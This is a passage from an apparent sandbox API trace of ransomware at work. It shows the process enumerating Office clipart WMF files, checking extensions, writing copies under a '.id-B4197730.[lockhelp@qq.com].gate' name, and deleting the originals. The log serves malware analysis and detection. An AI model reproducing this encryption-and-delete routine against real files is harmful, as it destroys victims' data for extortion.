(lpString=".docx") returned 5 [0285.877] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.877] lstrlenW (lpString=".pdf") returned 4 [0285.877] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.877] lstrlenW (lpString=".xls") returned 4 [0285.877] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.877] lstrlenW (lpString=".xlsx") returned 5 [0285.877] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.877] lstrlenW (lpString=".ppt") returned 4 [0285.877] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0285.877] lstrlenW (lpString=".zip") returned 4 [0285.877] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.877] lstrlenW (lpString=".rar") returned 4 [0285.877] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.877] lstrlenW (lpString=".bz2") returned 4 [0285.877] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.877] lstrlenW (lpString=".7z") returned 3 [0285.877] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0285.877] lstrlenW (lpString=".dbf") returned 4 [0285.877] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0285.877] lstrlenW (lpString=".1cd") returned 4 [0285.877] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0285.878] lstrlenW (lpString=".jpg") returned 4 [0285.878] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.878] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0285.878] lstrlenW (lpString="BL00242_.WMF") returned 12 [0285.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0285.880] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=4024) returned 1 [0285.880] CloseHandle (hObject=0x4a4) returned 1 [0285.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf")) returned 0x220 [0285.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0285.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0285.881] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.881] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0285.882] GetLastError () returned 0x0 [0285.882] ReadFile (in: hFile=0x4a4, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0xfb8, lpOverlapped=0x0) returned 1 [0286.931] WriteFile (in: hFile=0x394, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xfc0, lpOverlapped=0x0) returned 1 [0286.932] ReadFile (in: hFile=0x4a4, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0286.932] WriteFile (in: hFile=0x394, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0286.932] SetEndOfFile (hFile=0x394) returned 1 [0286.932] CloseHandle (hObject=0x394) returned 1 [0286.933] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.933] SetEndOfFile (hFile=0x4a4) returned 1 [0286.935] CloseHandle (hObject=0x4a4) returned 1 [0286.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0286.935] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf")) returned 1 [0286.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0286.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0286.936] lstrlenW (lpString=".doc") returned 4 [0286.936] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0286.936] lstrlenW (lpString=".docx") returned 5 [0286.936] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0286.936] lstrlenW (lpString=".pdf") returned 4 [0286.936] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0286.936] lstrlenW (lpString=".xls") returned 4 [0286.936] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0286.936] lstrlenW (lpString=".xlsx") returned 5 [0286.936] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0286.936] lstrlenW (lpString=".ppt") returned 4 [0286.936] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0286.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0286.936] lstrlenW (lpString=".zip") returned 4 [0286.936] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0286.936] lstrlenW (lpString=".rar") returned 4 [0286.936] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0286.936] lstrlenW (lpString=".bz2") returned 4 [0286.936] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0286.937] lstrlenW (lpString=".7z") returned 3 [0286.937] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0286.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0286.937] lstrlenW (lpString=".dbf") returned 4 [0286.937] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0286.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0286.937] lstrlenW (lpString=".1cd") returned 4 [0286.937] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0286.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0286.937] lstrlenW (lpString=".jpg") returned 4 [0286.937] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0286.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0286.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0286.937] lstrlenW (lpString=".doc") returned 4 [0286.937] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0286.937] lstrlenW (lpString=".docx") returned 5 [0286.937] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0286.937] lstrlenW (lpString=".pdf") returned 4 [0286.937] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0286.937] lstrlenW (lpString=".xls") returned 4 [0286.937] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0286.937] lstrlenW (lpString=".xlsx") returned 5 [0286.937] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0286.937] lstrlenW (lpString=".ppt") returned 4 [0286.937] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0286.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0286.937] lstrlenW (lpString=".zip") returned 4 [0286.937] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0286.937] lstrlenW (lpString=".rar") returned 4 [0286.937] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0286.937] lstrlenW (lpString=".bz2") returned 4 [0286.937] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0286.938] lstrlenW (lpString=".7z") returned 3 [0286.938] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0286.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0286.938] lstrlenW (lpString=".dbf") returned 4 [0286.938] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0286.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0286.938] lstrlenW (lpString=".1cd") returned 4 [0286.938] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0286.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0286.938] lstrlenW (lpString=".jpg") returned 4 [0286.938] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0286.938] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0286.938] lstrlenW (lpString="BL00261_.WMF") returned 12 [0286.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0286.988] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=12482) returned 1 [0286.988] CloseHandle (hObject=0x394) returned 1 [0286.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf")) returned 0x220 [0286.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0286.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0286.989] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.989] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0287.529] GetLastError () returned 0x0 [0287.529] ReadFile (in: hFile=0x394, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x30c2, lpOverlapped=0x0) returned 1 [0287.621] WriteFile (in: hFile=0x44c, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x30d0, lpOverlapped=0x0) returned 1 [0287.622] ReadFile (in: hFile=0x394, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0287.622] WriteFile (in: hFile=0x44c, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0287.622] SetEndOfFile (hFile=0x44c) returned 1 [0287.622] CloseHandle (hObject=0x44c) returned 1 [0287.624] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.624] SetEndOfFile (hFile=0x394) returned 1 [0288.160] CloseHandle (hObject=0x394) returned 1 [0288.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0288.161] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf")) returned 1 [0288.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0288.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0288.162] lstrlenW (lpString=".doc") returned 4 [0288.162] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.162] lstrlenW (lpString=".docx") returned 5 [0288.162] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.162] lstrlenW (lpString=".pdf") returned 4 [0288.162] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.162] lstrlenW (lpString=".xls") returned 4 [0288.162] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.162] lstrlenW (lpString=".xlsx") returned 5 [0288.162] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.162] lstrlenW (lpString=".ppt") returned 4 [0288.162] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0288.163] lstrlenW (lpString=".zip") returned 4 [0288.163] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.163] lstrlenW (lpString=".rar") returned 4 [0288.163] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.163] lstrlenW (lpString=".bz2") returned 4 [0288.163] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.163] lstrlenW (lpString=".7z") returned 3 [0288.163] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0288.163] lstrlenW (lpString=".dbf") returned 4 [0288.163] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0288.163] lstrlenW (lpString=".1cd") returned 4 [0288.163] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0288.163] lstrlenW (lpString=".jpg") returned 4 [0288.163] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0288.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0288.163] lstrlenW (lpString=".doc") returned 4 [0288.163] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.163] lstrlenW (lpString=".docx") returned 5 [0288.163] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.163] lstrlenW (lpString=".pdf") returned 4 [0288.163] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.164] lstrlenW (lpString=".xls") returned 4 [0288.164] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.164] lstrlenW (lpString=".xlsx") returned 5 [0288.164] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.164] lstrlenW (lpString=".ppt") returned 4 [0288.164] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0288.164] lstrlenW (lpString=".zip") returned 4 [0288.164] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.164] lstrlenW (lpString=".rar") returned 4 [0288.164] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.164] lstrlenW (lpString=".bz2") returned 4 [0288.164] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.164] lstrlenW (lpString=".7z") returned 3 [0288.164] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0288.164] lstrlenW (lpString=".dbf") returned 4 [0288.164] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0288.164] lstrlenW (lpString=".1cd") returned 4 [0288.164] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0288.164] lstrlenW (lpString=".jpg") returned 4 [0288.164] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.165] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0288.165] lstrlenW (lpString="BL00269_.WMF") returned 12 [0288.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0288.165] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=5272) returned 1 [0288.165] CloseHandle (hObject=0x394) returned 1 [0288.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf")) returned 0x220 [0288.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0288.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0288.166] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.166] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0288.167] GetLastError () returned 0x0 [0288.167] ReadFile (in: hFile=0x394, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x1498, lpOverlapped=0x0) returned 1 [0288.228] WriteFile (in: hFile=0x4b0, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x14a0, lpOverlapped=0x0) returned 1 [0288.307] ReadFile (in: hFile=0x394, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0288.307] WriteFile (in: hFile=0x4b0, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0288.307] SetEndOfFile (hFile=0x4b0) returned 1 [0288.307] CloseHandle (hObject=0x4b0) returned 1 [0288.308] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.308] SetEndOfFile (hFile=0x394) returned 1 [0288.310] CloseHandle (hObject=0x394) returned 1 [0288.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0288.310] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf")) returned 1 [0288.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0288.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0288.311] lstrlenW (lpString=".doc") returned 4 [0288.311] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.311] lstrlenW (lpString=".docx") returned 5 [0288.311] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.311] lstrlenW (lpString=".pdf") returned 4 [0288.311] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.311] lstrlenW (lpString=".xls") returned 4 [0288.311] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.311] lstrlenW (lpString=".xlsx") returned 5 [0288.311] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.311] lstrlenW (lpString=".ppt") returned 4 [0288.311] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0288.311] lstrlenW (lpString=".zip") returned 4 [0288.311] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.311] lstrlenW (lpString=".rar") returned 4 [0288.311] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.311] lstrlenW (lpString=".bz2") returned 4 [0288.311] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.311] lstrlenW (lpString=".7z") returned 3 [0288.311] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0288.311] lstrlenW (lpString=".dbf") returned 4 [0288.311] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0288.311] lstrlenW (lpString=".1cd") returned 4 [0288.311] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0288.311] lstrlenW (lpString=".jpg") returned 4 [0288.312] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0288.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0288.312] lstrlenW (lpString=".doc") returned 4 [0288.312] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.312] lstrlenW (lpString=".docx") returned 5 [0288.312] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.312] lstrlenW (lpString=".pdf") returned 4 [0288.312] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.312] lstrlenW (lpString=".xls") returned 4 [0288.312] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.312] lstrlenW (lpString=".xlsx") returned 5 [0288.312] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 